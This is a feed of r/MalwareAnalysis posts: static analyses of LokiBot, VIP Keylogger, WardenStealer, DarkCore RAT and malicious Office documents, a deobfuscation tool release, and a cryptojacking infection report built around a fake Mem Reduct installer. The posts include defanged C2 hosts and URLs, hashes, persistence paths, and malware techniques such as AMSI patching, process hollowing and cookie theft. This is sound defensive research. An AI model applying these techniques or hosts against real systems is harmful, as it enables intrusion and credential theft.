r/MalwareAnalysis • • 57m ago

Fake YimMenuV2 mod menu website-containing powerful info stealer malware-Vm detection-changes passwords for EA- RIOT-Microsoft-Discord-Google

Thumbnail reddit.com
1 Upvotes

r/MalwareAnalysis • • 3h ago

unflat: a tool to undo control-flow flattening and map bytecode VMs in x64 PE/ELF binaries

3 Upvotes

Hi all, I wrote a small tool while reversing WardenStealer, whose main code was control-flow flattened to the point Ghidra couldn't follow it. I cleaned it up and put it on GitHub, and I've just released v0.4.0, which adds support for memory-indirect and call-based dispatchers.

What it does:

  • unflat scan: static and fast. For each function it counts indirect dispatchers (jmp reg, jmp [mem], and call reg / call [mem] when a cmovCC/setCC picks the target), how many are preceded by a selector, ud2 opaque predicates, and byte-fetch + pointer-table patterns typical of VM dispatch. It also flags protector section names and high-entropy sections, and tells you which command to run next.
  • unflat flat: every dispatcher is emulated with Unicorn, forcing the cmov/setCC both ways with two random sets of inputs: if the target doesn't change, it's resolved. When a block depends on earlier state (state index, base register, table pointer spilled to the stack), it walks the function from its entry carrying known values. Branches into ud2/int3 are treated as opaque predicates. The tail becomes jcc + jmp; when flags would be clobbered or there isn't enough room, the code moves to a small cave (a new .unflat section in PE, a new PT_LOAD in ELF).
  • unflat vm: emulates a VM-protected function and reports the dispatch sites, the handlers with a guess of what each does (based on values read and written), the bytecode range, the opcodes and the virtual program line by line.
  • Formats: PE and ELF x86-64, including PIE, static-pie and stripped binaries, and memory dumps without .pdata.

New in v0.4.0:

  • jmp [mem] (jmp [rdx + rcx*8], jmp [rip + slot]): the target is read from the emulated memory at the jump, so tables filled or decrypted at runtime are seen as they really are. Loader-filled slots (IAT, GOT, ifunc) and VM-style opcode fetches are skipped.
  • call reg / call [mem]: a call used as a dispatcher also pushes a return address, so it checks what the target does with it:

    • if every target throws it away right away (lea rsp,[rsp+8], add rsp,8, pop into a dead register), the call is really a jump and gets patched as one;
    • otherwise the patch keeps the exact same return address on the stack (position-independent, flags and registers untouched), so helpers that ret back still work.
  • Three hand-flattened test programs (jmp reg, jmp [mem], call reg) give the same output before and after patching, as PIE, non-PIE and static-pie ELF, and as PE.

Results on WardenStealer (v0.3.0): 285/286 reachable dispatchers resolved in stage 1, 1664/1674 in stage 2. Stage 1's main went from 23 lines of C in Ghidra to 1845.

Limits, so nobody is disappointed:

  • x86-64 only
  • calls are only treated as dispatchers when a cmov/setCC picks the target (or the register is loaded with a constant in the same block); plain function-pointer calls are left alone
  • values only known at runtime are reported, not guessed
  • vm maps the VM but doesn't devirtualize it
  • commercial protectors like VMProtect or Themida add layers it doesn't handle on its own

Repo: https://github.com/inkman97/unflat

Feedback and samples that break it are very welcome.


r/MalwareAnalysis • • 3h ago

Reversed a Hijacked LokiBot Sample: Someone Patched In Their Own C2 Over the Original

2 Upvotes

Hi all, I reversed a LokiBot sample that turned out to be a hijacked build and wrote up the analysis. Everything is static, I never ran it.

Quick summary:

- 106 KB PE32 from 2016 with almost no imports. Every API is resolved at runtime by walking the PEB and the export tables and comparing a CRC32 hash. The CRC is modified: constant 0x4358AD54 and XOR before the shift, so the textbook version doesn't match anything

- The executable has an extra section called .x. Somebody replaced the last instruction of the function that calls CryptDecrypt with a jmp into it, and the stub overwrites the decrypted C2 with hxxp://brysonsqroup[.]com/five/fre.php. The original 4 C2s are still in .rdata, 3DES-encrypted, and never used. I decrypted them statically (alphastand[.]trade/win/top and kbfvzoboss[.]bid, all /alien/fre.php)

- HTTP header strings are encrypted with a modified RC4 (no swap in the key setup, index starts at 1), key KOSFKF. User-Agent is the classic "Mozilla/4.08 (Charon; Inferno)"

- I mapped the binary packet: version 0x12, type 0x28 (check-in) or 0x27 (credentials), the "ckav.ru" marker, user/computer/domain, screen size, admin flags, OS version and a bot ID that's the first 24 hex chars of MD5(MachineGuid). A local .hdb file keeps CRCs of reports already sent so nothing goes out twice

- For Firefox it borrows Firefox's own sqlite3/nss3 DLLs and calls PK11SDR_Decrypt. If Firefox is 64-bit it starts a hidden copy and injects ~2.8 KB of x64 code (built on the stack with mov instructions) that decrypts logins.json from inside

- C2 commands: download and run EXE, download and load DLL, resend everything, update, uninstall

- Persistence: copies itself to %APPDATA%\<6 chars of the bot ID>\<6 chars>.exe, hidden+system, plus a Run key whose path is itself 3DES-encrypted in the binary

I worked out the algorithms and used Claude to help write the Python scripts for the decryption and for rebuilding the injected x64 code.

Full writeup with IOCs: https://inkman97.github.io/lokibot-analysis/


r/MalwareAnalysis • • 6h ago

Made 12 anime themes for IDA Pro 🌸Background art sits behind your disassembly, and with a small plugin it shows in graph view too. Dark + one light theme, free and MIT. https://github.com/shwetsoni/idanime #reverseengineering #idapro #malwareanalysis

Thumbnail github.com
1 Upvotes

r/MalwareAnalysis • • 14h ago

PE Parsing: Reverse Engineering Tools Kryptonite (Can You Break Mine?)

Thumbnail github.com
1 Upvotes

Doing open-source security research has taught me a lot about the common misconceptions in security tooling, especially RE tooling, around how Windows loads the PE and builds the PEB.

Take Ghidra, for example. I found a Denial of Service vulnerability caused by a parser misconception and unchecked recursion: a cyclic x64 chained unwind structure causes a StackOverflowError during PE import, while the same file loads and runs perfectly fine on Windows.

https://github.com/NationalSecurityAgency/ghidra/security/advisories/GHSA-vxmq-6v38-hgf6

Or x64dbg, where I found multiple ways to crash it on attach because of assumptions it makes about the target's PEB format.

When I was learning secure-software development, one of the main things I learnt was to never, ever, trust attacker-controlled input. In any RE tool, the file you're importing or analyzing is attacker-controlled input. The entire PE has to be validated, including anything that could be corrupted (section lengths, sections in general, unwind directories, file names). Treat everything as dangerous input until it's sanitized.

So here's my challenge to reverse-engineers, security researchers and exploit devs: break RESX while it parses your file.

RESX is a tool I'm actively developing to make malware analysis on Windows easier. Part of that is, of course, not crashing on file import, or handing you an RCE. I want your feedback, and I want your worst files, and security advisories!

https://github.com/Ryftenius/RESX


r/MalwareAnalysis • • 1d ago

Zero-Import Persistence: How Malicious Python .pth Files Hijack Every Interpreter Launch

Thumbnail mohitdabas.in
4 Upvotes

r/MalwareAnalysis • • 2d ago

MemReduct from original site loaded with crypto miners

2 Upvotes

Posting this as a warning and to ask whether anyone recognizes this campaign. This concerns a third-party download source, not an accusation against the legitimate Mem Reduct project.

TL;DR: An investigation of my Windows 11 computer found hidden cryptocurrency miners, cookie-extraction utilities, persistent startup tasks, and extensive Microsoft Defender exclusions. Browser download history strongly points to a Mem Reduct installer bundle obtained from memreduct[.]app. The installed Mem Reduct executable itself matches the official release exactly.

IMPORTANT LIMITATIONS

This was live-system triage, not a complete forensic image or sandbox analysis. The original installer and RuntimeHost.exe launcher were no longer available. The installation timeline is strong circumstantial evidence, but I do not have a complete parent-process chain proving the initial infection source.

I also could not verify an exfiltration destination or establish exactly what data was transmitted.

HOW I NOTICED IT

My computer intermittently lagged, and I noticed command-window-type processes opening and closing. Startup entries labeled RuntimeHost were suspicious.

Disabling Startup entries was insufficient: separate scheduled tasks remained enabled, including one configured to run every five minutes.

PROBABLE DOWNLOAD SOURCE

Edge download history recorded:

Landing page:

memreduct[.]app

Download chain:

1.get-files[.]xyz/memreduct/[REDACTED]

→

pub-6a90252f6d70443d960d6ac029dbd446.r2[.]dev/memreduct-setup.zip

These are defanged indicators. Do not visit or download from them.

TIMELINE — OCTOBER 7, 2026

Times below are UTC−6:

02:28:05 — Edge downloaded memreduct-setup.zip.

02:31:05–02:31:08 — Windows Installer recorded a Visual C++ 2017 x64 runtime installation from the user's Temp directory.

02:31:17 — Installed Mem Reduct files were created.

02:37:29 onward — Hidden miner files appeared in a Windows cache subdirectory.

02:40:37–02:40:38 — Cookie-viewing tools appeared in a randomly named ProgramData directory.

06:21:01 — Earliest retained Defender detection found during this investigation.

The Microsoft runtime installation is included only as timeline evidence; it does not mean the runtime itself was malicious.

WHAT WAS FOUND

  1. Hidden cryptocurrency miners

Directories included:

C:\Users\[REDACTED]\AppData\Local\Microsoft\Windows\Caches\9AE2CA11\

C:\Users\[REDACTED]\AppData\Local\Microsoft\Windows\Caches\BB4B23F6\

C:\ProgramData\Microsoft\Windows\Caches\E8909865\Content.IE5\D7F39231\

Subdirectories included:

- bzminer

- lolminer

- peakminer

- srbminer

Executable names included:

- RuntimeBroker8A9E.exe

- RuntimeBrokerA3EB.exe

- RuntimeBrokerDB91.exe

Static metadata and strings identified PeakMiner and SRBMiner components. These were not ordinary Windows RuntimeBroker executables.

Other files included miner.dat, .b\<miner>\m.dat, .src, and .o. Some older payload files had an encrypted wrapper; .src files contained DPAPI-protected data. Attempts to decrypt the configuration with the available user/machine context and no additional entropy failed.

2. Browser-cookie utilities

Files named ccv.exe and mzcv.exe identified themselves as:

- NirSoft Chrome Cookies Viewer

- NirSoft MZCookiesView

They appeared in directories including:

C:\ProgramData\335AAAEA\

C:\ProgramData\49EECAC1\

C:\ProgramData\5E5B1D77\

C:\ProgramData\7AF900CB\

These utilities have legitimate uses. Their presence in these directories, alongside the other artifacts and antivirus exclusions, was suspicious.

Their presence does NOT by itself prove cookies were exported or transmitted. No such transmission was verified.

3. Persistence

Scheduled tasks:

- Windows System Health — at logon

- Windows System Health Check — every five minutes

- Windows System Health Monitor — at boot

They pointed to:

C:\ProgramData\Microsoft\Windows\Caches\4259B89A\RuntimeHost.exe

Registry startup values named WinSysCache existed under:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run

A startup shortcut also existed:

C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeHost.lnk

At inspection, RuntimeHost.exe was absent and the tasks returned 0x80070002 (“file not found”). No matching launcher process was observed.

4. Antivirus exclusions

There were extensive path and process exclusions, including cache payload directories, Temp directories, .NET Framework directories, and Program Files (x86).

Process exclusions included miner names, RuntimeHost.exe, the renamed RuntimeBroker executables, and utilities such as MSBuild.exe, InstallUtil.exe, RegAsm.exe, and RegSvcs.exe.

Some exclusions were enforced through:

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions

Those policy entries had to be addressed separately; initial removal through Defender cmdlets did not remove all effective exclusions.

DEFENDER DETECTIONS

Retained local logs included:

- Trojan:Win32/Suweezy

- Trojan:Win32/Commando.A!ml

- Trojan:Win32/Commandrob.A!ml

Detected activity included commands attempting to create the scheduled tasks and add antivirus exclusions. These detection names are reported as recorded; I am not claiming they precisely identify every recovered payload.

SHA-256 INDICATORS

Recovered PeakMiner-related executable:

56c52c421266691daa9710fc3e5ea20a9a729cdaaf77cef234f56b799819412c

Another recovered PeakMiner-related executable:

a49907f78dc8aaa6aa10c7584e94d76a96b3637d9b730c4ea7ea8a62259b497e

Recovered SRBMiner-related executable:

6eb4e0bc37d65fdf7644ab620737e14f4c7dfa9666acde43d5f38ab1e9094ac1

ccv.exe:

737b66f34e33a991a6f983b5164d800f358376a10a43cd88175259a83b986556

mzcv.exe:

0fbcaa65ada37326741259d2ebc96d52e61d38cd6c28823194f2ffb4bf906ebe

These identify files recovered in this deployment. Some components are legitimate dual-use software; a matching hash alone does not establish malicious use elsewhere.

THE LEGITIMATE MEM REDUCT APP

My installed memreduct.exe was compared against the official Henry++ GitHub release, version 3.5.2, 64-bit.

Both SHA-256 hashes matched:

dd55a81d56e8c32918e5190b2ec2a1f2a7edbbca884627439b4b619fdfb5602d

That supports a genuine application bundled with separate unwanted payloads, rather than a modified Mem Reduct executable.

Official project:

https://github.com/henrypp/memreduct

NETWORK / DATA-THEFT FINDINGS

No attacker-controlled collection endpoint was verified.

The miner contains functionality for Stratum mining and optional pool telemetry, but embedded functionality is not evidence of the actual pool, wallet, or data transmitted on my computer.

Historical network logs were unavailable. I am treating browser sessions as potentially exposed because of the cookie utilities, without claiming confirmed account theft.

CLEANUP STATUS AT TIME OF WRITING

Removed:

- Three related scheduled tasks

- Two Run entries and associated startup-approval records

- RuntimeHost startup shortcut

- Seven identified payload directories

- 39 path exclusions and 23 process exclusions, including matching policy entries

The verified legitimate Mem Reduct executable and its settings were retained.

Defender signatures were updated and a full scan was started. The machine has NOT yet been declared clean. Investigation records were preserved.

Does anyone recognize the RuntimeHost / WinSysCache persistence, these cache-directory patterns, or the encrypted .src configuration format? I would particularly appreciate independently verified information about the loader and its network destinations.

UPDATE:
Sharing a follow-up investigation of a Windows 11 infection. Personal usernames and session identifiers are redacted; suspicious domains are defanged.

IMPORTANT: This concerns a third-party installer bundle. My installed Mem Reduct executable matched the official Henry++ release exactly. I am not claiming the legitimate Mem Reduct project is malicious.

MICROSOFT REPORT / POSSIBLE CONNECTION

Microsoft’s report:

https://www.microsoft.com/en-us/security/blog/2026/05/26/poisoned-search-results-gpu-mining-cryptojacking-campaign-abusing-screenconnect-microsoft-net-utilities/

My case strongly overlaps with the described behavior:

- A utility download followed by a disguised ScreenConnect installation.

- RuntimeHost.exe persistence through the same three scheduled-task names, WinSysCache registry values, and a Startup shortcut.

- Defender exclusions covering miners and legitimate .NET utilities.

However, my remote-access domain differed from Microsoft’s published indicators. The original installer and RuntimeHost launcher were unavailable for analysis, so this is a strong behavioral match—not definitive attribution to the exact same operator or variant.

HOW IT STARTED

I noticed intermittent lag and command-window-type processes opening and closing. There were suspicious RuntimeHost startup entries.

Browser download history showed this download on October 7, 2026:

Landing page:

memreduct[.]app

Download chain:

1.get-files[.]xyz/memreduct/[REDACTED]

→

pub-6a90252f6d70443d960d6ac029dbd446.r2[.]dev/memreduct-setup.zip

Timeline, UTC−6:

02:28:05 — ZIP downloaded.

02:31 — A product labeled “Microsoft Visual C++ 2017 Redistributable (x64)” installed.

02:31:17 — Mem Reduct application files created.

02:37 onward — Hidden miner files appeared.

02:40 onward — Cookie-viewing utilities appeared.

The apparent Visual C++ installation was subsequently identified as the disguised ScreenConnect package.

This strongly links the infection to the downloaded bundle, but a complete historical parent-process execution chain was not available.

THE IMPORTANT FIND: REMOTE ACCESS SURVIVED INITIAL CLEANUP

The initial investigation removed miners, scheduled tasks, startup entries, and antivirus exclusions. A full Defender scan then detected and remediated additional miner executables.

After reading the Microsoft article, a follow-up check found ScreenConnect STILL RUNNING as an automatic service.

Service name:

14.16.27012.6

Installation path:

C:\Program Files (x86)\Microsoft Visual C++ 2017\

Service executable:

ScreenConnect.ClientService.exe

Installed-product display name:

Microsoft Visual C++ 2017 Redistributable (x64)

Configured remote-access host:

support.open-port-online[.]xyz

Port:

8041

Installation/custom-property label:

memreduct-setup

The configuration disabled tray icons, connection balloons, and remote-control banners.

The ScreenConnect executables had valid ConnectWise signatures. Those signatures identify legitimate remote-access software; they do not make this deployment or its operator trustworthy.

The configured host is verified local evidence. I do NOT have proof of an active remote session at the moment of capture or a record of what data was transferred.

MINER FILES AND DIRECTORIES

Locations included:

C:\Users\[REDACTED]\AppData\Local\Microsoft\Windows\Caches\9AE2CA11\

C:\Users\[REDACTED]\AppData\Local\Microsoft\Windows\Caches\BB4B23F6\

C:\ProgramData\Microsoft\Windows\Caches\E8909865\Content.IE5\D7F39231\

Subdirectories included:

bzminer

lolminer

peakminer

srbminer

Renamed executables included:

RuntimeBroker8A9E.exe

RuntimeBrokerA3EB.exe

RuntimeBrokerDB91.exe

Static inspection identified PeakMiner and SRBMiner components. These were not the normal Windows RuntimeBroker executable.

There were also miner.dat, .b\<miner>\m.dat, .src, and .o files. Some older payloads used encrypted wrappers. The .src files contained DPAPI-protected data; attempts to decode them using the available user/machine context without additional entropy failed.

COOKIE-EXTRACTION TOOLS

Files named ccv.exe and mzcv.exe identified themselves as:

- NirSoft Chrome Cookies Viewer

- NirSoft MZCookiesView

They appeared in directories including:

C:\ProgramData\335AAAEA\

C:\ProgramData\49EECAC1\

C:\ProgramData\5E5B1D77\

C:\ProgramData\7AF900CB\

These are legitimate dual-use utilities, but their deployment here was suspicious. Their presence supports concern about cookie collection; it does not prove that cookies were transmitted.

PERSISTENCE

Scheduled tasks:

Windows System Health

Windows System Health Check

Windows System Health Monitor

One task ran every five minutes.

Target:

C:\ProgramData\Microsoft\Windows\Caches\4259B89A\RuntimeHost.exe

Registry values named WinSysCache:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run

Shortcut:

C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeHost.lnk

Disabling entries in Task Manager’s Startup tab did not disable the scheduled tasks.

ANTIVIRUS EXCLUSIONS

The investigation removed 39 path exclusions and 23 process exclusions associated with the deployment.

They covered payload/cache directories, Temp directories, Program Files (x86), .NET Framework directories, miner names, RuntimeHost.exe, and utilities such as:

InstallUtil.exe

RegAsm.exe

RegSvcs.exe

MSBuild.exe

AppLaunch.exe

AddInProcess.exe

aspnet_compiler.exe

Some exclusions were enforced through:

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions

Removing exclusions through Defender cmdlets alone initially left those policy-enforced entries effective.

DETECTIONS

Retained Defender records included:

Trojan:Win32/Suweezy

Trojan:Win32/Commando.A!ml

Trojan:Win32/Commandrob.A!ml

Trojan:MSIL/CoinMiner.KK!MTB

The November 19 full scan remediated five additional executables under:

C:\ProgramData\Microsoft\Windows\

Filenames:

1me3k.exe

cmq9w.exe

cy4n2.exe

ep95g.exe

nn0mz.exe

Defender reported successful remediation and an inactive threat afterward. That did not mean the remote-access component was gone.

SELECTED SHA-256 HASHES

PeakMiner-related executable:

56c52c421266691daa9710fc3e5ea20a9a729cdaaf77cef234f56b799819412c

Another PeakMiner-related executable:

a49907f78dc8aaa6aa10c7584e94d76a96b3637d9b730c4ea7ea8a62259b497e

SRBMiner-related executable:

6eb4e0bc37d65fdf7644ab620737e14f4c7dfa9666acde43d5f38ab1e9094ac1

ccv.exe:

737b66f34e33a991a6f983b5164d800f358376a10a43cd88175259a83b986556

mzcv.exe:

0fbcaa65ada37326741259d2ebc96d52e61d38cd6c28823194f2ffb4bf906ebe

These hashes identify files recovered in this deployment. Some components are legitimate dual-use software; a matching hash does not by itself establish malicious use elsewhere.

GENUINE MEM REDUCT VERIFICATION

My installed 64-bit memreduct.exe version 3.5.2 matched the executable downloaded from the official Henry++ GitHub release.

Matching SHA-256:

dd55a81d56e8c32918e5190b2ec2a1f2a7edbbca884627439b4b619fdfb5602d

Official project:

https://github.com/henrypp/memreduct

The verified application was preserved. The evidence points to separate unwanted components delivered alongside it.

CURRENT STATUS — NOVEMBER 22, 2026

- Identified miner directories and persistence entries removed.

- Associated Defender exclusions removed, including policy entries.

- Disguised ScreenConnect service stopped, disabled, and uninstalled.

- Its program folder, uninstall entry, and cached installer verified absent.

- Updated Defender quick scan completed without new detections.

- Microsoft Defender Offline completed successfully with zero threats detected.

- Post-reboot checks found no return of the known service, tasks, startup entries, or malicious exclusions.

This supports removal of the known components. It does not prove the system has no unknown attacker changes, and it cannot establish whether data was previously stolen.

WHY I’M POSTING

A genuine utility executable and a remediated miner detection did not tell the whole story. The disguised remote-access client survived the initial cleanup and was only found during the follow-up prompted by Microsoft’s report.

Has anyone independently linked support.open-port-online[.]xyz or this memreduct-setup deployment to the reported campaign? I’m particularly interested in verified loader/network analysis rather than assuming that every published campaign indicator applied to my machine.


r/MalwareAnalysis • • 2d ago

Reversing Fake GTA 6 Installer: Scripted Progress, Fabricated DLL Errors and an Affiliate Funnel

Thumbnail reddit.com
3 Upvotes

r/MalwareAnalysis • • 2d ago

CMU’s SUSVIBES benchmark shows ~60% of "vibe-coded" features pass functional tests, but only ~11% are actually secure

Thumbnail reddit.com
2 Upvotes

r/MalwareAnalysis • • 2d ago

37 malicious documents from #MalwareBazaar (Nov 9–20), triaged statically with MaldocTrace 0.6.0, nothing executed.

3 Upvotes

25 Remcos/AgentTesla .xls · 3 STRRAT · 3 Equation Editor · 2 altChunk · 2 octal-IP · SideWinder · remote template

2/25

1️⃣ The 25 .xls share one recipe:

• encrypted with "VelvetSweatshop" (Excel's default password: no prompt, ciphertext for scanners)

• OLE2Link object → remote document on a bare IP (CVE-2017-0199)

• embedded clean workbook as decoy

• no auto-run VBA

3/25

2️⃣ Two camouflage styles for the OLE2Link URL, both pasted after the "?":

• a real Economic Times article path

• a fake JetBrains CLion Bing ad link (msclkid + utm_*)

The download host is always the IP in front. 18 distinct IPs, some reused across samples.

4/25

3️⃣ Two samples write the host as a dotless octal number:

hxxp://05523311557/… → 45.77.147[.]111

hxxp://033002360055/… → 216.9.224[.]45

Office resolves it, naive IP regexes don't. One also pads the path with random junk.

5/25

4️⃣ STRRAT: the auto-open macro rebuilds a JAR (Main-Class yamporrige.YamPorrige) from up to 283 base64 chunks in document variables, drops it in %appdata% and runs:

java -jar "%appdata%\<random>.jar"

The .doc variants launch it via ScriptControl (JScript).

6/25

5️⃣ The rest:

• 3 Equation Editor exploits: 47-byte MTEF font name in a 40-byte buffer (CVE-2017-11882)

• 2 .docx importing a ~28 MB RTF via altChunk

• SideWinder lure fetching a remote RTF from a fake Nepal MoFA subdomain

• remote template from a .ru domain

7/25

🌐 IOCs · download IPs (OLE2Link):

209.54.101[.]167

198.12.126[.]180

107.172.148[.]215

204.44.93[.]81

46.183.223[.]13

107.172.135[.]21

198.12.126[.]186

192.255.195[.]139

172.245.209[.]249

192.236.217[.]72

185.29.10[.]121

77.68.97[.]185

172.245.95[.]19

172.86.71[.]112

8/25

🌐 IPs (cont.):

209.54.101[.]170

45.77.147[.]111

216.9.224[.]45

104.168.5[.]59

🌐 Domains:

mofa-gov-np.donwloaad-file[.]org (SideWinder)

valisi[.]ru (remote template)

9/25

☕ Dropped STRRAT JARs (SHA-256):

cd86d5ef77f0d244229562d96aafb5d26adf0e35137aca6aec76bf0f652a8180

800ab654327bac38fe0c76ddc656b8c18993be24ef7db440001004e77efff9f6

c4c3fb0333c1eb1e07c1be7237edc5eafac4c85630edb121d9234722d627e656

10/25

#️⃣ Remcos/AgentTesla .xls (OLE2Link) (SHA-256):

7e5223f497ce597d8dc3adbcea246ceab5aa04c0eb094f900ed6b458948df72b

6dfdb5e0c9afc704b538646ba5710a09acaa19d03beec0dfff904ff0c34d6a71

584ff3ecc5643f0e162800c1c5ae98669f1c36538df55c778e23fd3a7e5a7d02

11/25

#️⃣ Remcos/AgentTesla .xls (OLE2Link) (cont.):

689665ac33925531a53f490d1e3ba320c6481743231fd8fad44d0325464e5644

bfe04fdcc780cccaeb8a726a2985622260404886e894f1b162087acb9e80419e

a9a5d3488e45398fe479d273070d477bd760da889ebf94f61cdfaaef0c5098ba

12/25

#️⃣ Remcos/AgentTesla .xls (OLE2Link) (cont.):

ce3def1258b8149ee0e63134b2793423a237e612b303c232f41c40c3f03afe2d

8d0ad886bcefce02b179bd3bc8347c1dc273271e9cc410226d775597e27afcc8

028a763fc0b4b2e6d1cb81c5db262aa8a3c46c3afc8ff814bb39d472d344f582

13/25

#️⃣ Remcos/AgentTesla .xls (OLE2Link) (cont.):

a7f4380709f9b477b104ebc5edae07caf4799da59eee9ac2fcf7b7aaa568443c

8ac13d34b8d37eb301c86ba27d1ac220fd4377d18b3477dcf2c102c517637e6a

500caceef8cc8b0558cb02df4a0cb62d9180930cf693c7159e1a33532c8a1090

14/25

#️⃣ Remcos/AgentTesla .xls (OLE2Link) (cont.):

f2e6c449fd7e939998f587f7fa3b4ba0cce086cc098f1f270f8b3d29a444958b

aa9e21dbb18839be5d07d63823f30727664f03187880622b6e6271f14efa5b00

fee0ee1a5a00a115ebe5db4b7b76a576645e5dfe726ec6d42223ca7399818690

15/25

#️⃣ Remcos/AgentTesla .xls (OLE2Link) (cont.):

fbdbfde7855af81895c986bae941fd18ee2b21be51eca255dce8063d840b3195

20dc85068149ff526045f706596af8c7790d64eb95ce226fcdf9620318740271

6de4ce0fcfcd7005acfa62e0cb3fe9801e37a248cd37ca484b8d52d1b79f9ca0

16/25

#️⃣ Remcos/AgentTesla .xls (OLE2Link) (cont.):

288a4fc9babebdf42fa5dbf7a907279562e3bf75ee03aa05e60e35f48fed3204

96b5c228c603400ae9d6b5d21ff1af069af24993fb123f7dffd13cf459afa634

a829784339a0eff12a6a3506816b05410a3be5ffd98eaff2ae043bb345ea7119

17/25

#️⃣ Remcos/AgentTesla .xls (OLE2Link) (cont.):

55a8952055a69b2e916a61182443b8398547df2870b1dbe4e8668bf89897aac4

5adde641ee0afab2f89eb04337085b4089685d90990f4d489ba317162b9245de

4ae6ee26bb0e9cee47c2789efe984752065b94fb70ab1bae058c0747f743bc84

18/25

#️⃣ Remcos/AgentTesla .xls (OLE2Link) (cont.):

017d97ee0d844ffd52639b3861e9c989b7513abf60437193b857717c16dfba84

19/25

#️⃣ OLE2Link, octal IP (SHA-256):

1ba2d52cde2ccb22af066715ed4cd8d67a86852f248adb0cf6b95da4b26abace

116f676a810847e1f9211ea55abe20c12216c863f564c74545850e63aea055cd

20/25

#️⃣ STRRAT (SHA-256):

801e412d7dfefef917ea24d5ceb14e09bc23d5adb98105b1bdf7fb33be5a9642

8f16fff004d1af4665bfb42bd08a93b204f19dca5adcde751d9dc7541e38aac9

0bd775f01fd87ec79164a6665f01a7f63b76359c09023326e7bc74cf48f23741

21/25

#️⃣ Equation Editor (SHA-256):

1038ea371fa8bbf7d779af4ba022134f8d29cc8ea270f52397951ea144148ead

bf907a98a0f3265ae0a3bb55d7094d742dc2b74fb59dba5efba6b7d445927cbe

18ade8a2c1c7e15231687e292f227e65b2d596a2fbcef555a1f353e74e63c7c3

22/25

#️⃣ altChunk RTF (SHA-256):

f66aefb4cabba7aa427d1ec374cac9a8be43e19187843e30a1d1b57648397b75

94b597e300b6eb9859bd619fc9171c214294351f17ee400ab3c7cafb4f7c0d29

23/25

#️⃣ SideWinder (SHA-256):

07213fea47525bfdcd70b5355390c97761cee899929a885a55f8f060b59ffc12

24/25

#️⃣ Remote template (SHA-256):

a065e3e1e86ecae8ddb33d37a2ca4c9469bbb9e65bcebbbdc15519ebf2180782

25/25

Per-sample analysis (storages, decoys, build timestamps, full defanged URLs) is in the VirusTotal community tab of each hash.

Open source, Apache-2.0:

pip install maldoctrace

https://github.com/debugactiveprocess/MaldocTrace


r/MalwareAnalysis • • 3d ago

Malware Analysis Tool

0 Upvotes

https://github.com/cyberc0ffee/mscope

Please let me know what do you think about my static analysis tool :)


r/MalwareAnalysis • • 3d ago

Part 3: I sent the proxy company a right-of-reply email. Their replies told me more than my OSINT did.

Thumbnail reddit.com
1 Upvotes

r/MalwareAnalysis • • 3d ago

Reversed a VIP Keylogger Sample Delivered via a Signed LuaJIT Host

Thumbnail reddit.com
1 Upvotes

r/MalwareAnalysis • • 4d ago

Reversed a VIP Keylogger Sample Delivered via a Signed LuaJIT Host

4 Upvotes

Hi all, I reversed a VIP Keylogger sample with an unusual delivery chain and wrote up the analysis.

Quick summary:

- It starts as a ~4 MB JScript that's almost all padding (one Unicode character repeated tens of thousands of times) and functions that never get called

- The dropper removes its own Mark-of-the-Web and drops a LuaJIT interpreter, its DLL and a Lua script. The interpreter and DLL are legit and signed by Sangfor Technologies. Only the Lua script is malicious

- The Lua script is obfuscated with Prometheus: a rotated constant table and base64 with a shuffled alphabet. I worked out the algorithms and used Claude to rewrite them in Python

- Through LuaJIT's FFI it patches AMSI and ETW, fills memory with decoy strings, decrypts the embedded payload and hollows it into MSBuild.exe

- There's a hidden persistence path, a Run key with a null-prefixed name so regedit can't show it, but it's switched off in this build

- The payload is VIP Keylogger. It goes after browser passwords, cookies and cards, mail clients, Wi-Fi profiles and the Windows product key

- Exfil is SMTP via hosting2.ro.hostsailor[.]com and a Telegram bot. There are also some unused DDNS hosts on port 8081 in the code

Full writeup with IOCs: https://inkman97.github.io/vipkeylogger-analysis/


r/MalwareAnalysis • • 4d ago

Reversed WardenStealer Malware

8 Upvotes

Hi all, I reversed WardenStealer, a new infostealer that first showed up this summer, and wrote up the analysis.

Quick summary:

- It is a fake jli.dll that gets side-loaded by a legit java.exe

- Stage 1 uses heavy control-flow flattening and opaque predicates. Ghidra struggled with it, and plain linear disassembly worked better

- Every string is encrypted on its own with a custom 3-layer decoder: base64 with a shuffled alphabet, an LCG XOR keystream and an LZ-style decompressor. I used Claude rewriting it in Python and decoded about 500 strings

- Stage 2 is a Rust DLL that only ever lives in RWX memory

- It checks for VMs and sandboxes. In my lab it just showed a "yolo" message box and quit

- It goes after browser creds and cookies, crypto wallets, Discord, Steam and Roblox sessions, and takes screenshots

- C2 is phigerma[.]quest

Full writeup with IOCs and scripts: https://inkman97.github.io/wardenstealer-analysis/

Some parts are still open, like which VM check makes it bail out and how the C2 protocol works. Feedback is welcome, and so is anyone else who has a sample.


r/MalwareAnalysis • • 5d ago

New DarkCore RAT Static Analysis

4 Upvotes

I did a fully static analysis of a sample of DarkCore, a newly emerged RAT (first advertised on forums in August, infections seen since late October according to BlackFog). This build is v3.8.0.

The chain has five stages:

* VBS: hundreds of junk lines; the real blob is split across four functions, then base64 + XOR decoded into a second VBS.

* Stage 2 VBS: reads its own original file and rebuilds a payload hidden in 1,900 comment lines (base93 + a custom Feistel cipher), producing a PowerShell script.

* PowerShell: decrypts a .NET loader and the final payload, and loads the DLL in memory, finding AppDomain.Load(byte\[\]) by its signature via reflection instead of calling it by name.

* .NET loader (Crypto Obfuscator, DES-encrypted string tables): process hollowing into RegSvcs.exe.

* Native x64 RAT.

Some highlights from the RAT:

* The config is XOR-encrypted in a custom .data2 section; I recovered the C2 (162.55.4\[.\]179:4869) and a 32-byte pre-shared key.

* The C2 channel is surprisingly solid: X25519 ephemeral handshake, BLAKE2s KDF mixing in the PSK, ChaCha20-Poly1305 packets, basically WireGuard’s crypto stack. Captured traffic can’t be decrypted even with the config.

* Plugins arrive as AES-GCM-encrypted PE modules.

